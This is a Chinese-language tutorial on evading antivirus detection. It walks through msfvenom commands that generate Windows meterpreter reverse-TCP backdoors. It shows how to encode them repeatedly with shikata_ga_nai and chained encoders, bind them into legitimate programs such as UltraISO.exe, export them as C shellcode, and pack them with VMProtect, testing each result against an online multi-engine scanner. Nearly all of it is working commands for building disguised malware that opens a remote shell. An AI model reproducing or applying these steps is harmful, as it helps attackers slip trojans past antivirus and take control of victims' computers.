(一)认识免杀
1、杀软是如何检测出恶意代码的?
特征码(id)、启发式恶意软件检查和行为
2、免杀是做什么?
对特征进行混淆,打乱代码,避免杀毒软件查杀
3、免杀的基本方法有哪些?
自编码处理 自捆绑+编码 多重编码 接口下载式 签名伪装式
针对杀毒软件的基本检测方法,我们可有以下几种方法实现免杀:
VirScan - 多引擎文件在线检测平台
- 改变特征码
- 改变行为
- 其它
(二) 不处理payload直接生成样本进行检测
1、生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your ip LPORT=4456 -f exe -o payload1.exe
2、开启http服务
python2:
python -m SimpleHTTPServer
pytnon3:
python3 -m http.server
3、打开Web页
打开浏览器 访问
localhost:8000
或者
127.0.0.1:8000,下载有恶意代码的文件
4、在网站上传分析
VirScan - 多引擎文件在线检测平台
(三) MSF自编码处理payload生成样本进行检测
1、查看可以用编码模块
msfvenom --list encoders
2、使用 x86/shikata_ga_nai 模块
它是免杀中使用频率最高的一个编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai HOST=192.168.x.x LPORT=4456 -f exe -o payload1.exe
后续方法同上
(四) MSF自捆绑处理payload生成样本进行检测
1、使用msfvenom的-x参数
-x 参数可以指定一个可执行文件.exe,将payload与其捆绑
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4456 -x yourset.exe -f exe -o payload2.exe
其他步骤同上
(五)MSF自捆绑+编码处理payload生成样本进行检测
1、结合前二种编码方式我们再次生成样本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4456 -e x86/shikata_ga_nai -x yourset.exe -i 10 -f exe -o payload3.exe
其他操作同上
2、增大编码次数
我们可以通过增大i的大小,增大成功率。
(六)MSF多重编码payload生成样本进行检测
通过管道,让msfvenom用不同编码器反复编码进行混淆。使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以payload5.exe为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.110.110 LPORT=4456 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x UltraISO.exe -f exe -o payload5.exe
(七) 生成Shellcode使用C语言调用
1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4456 -f c >c0001.c
2、改c文件,并编译,并加壳
3、随便写一个hello world
main() {
printf("hello world\n");
}然后编译 并加壳
vmp加壳工具
版权归原作者 @Camelus 所有, 如有侵权,请联系我们删除。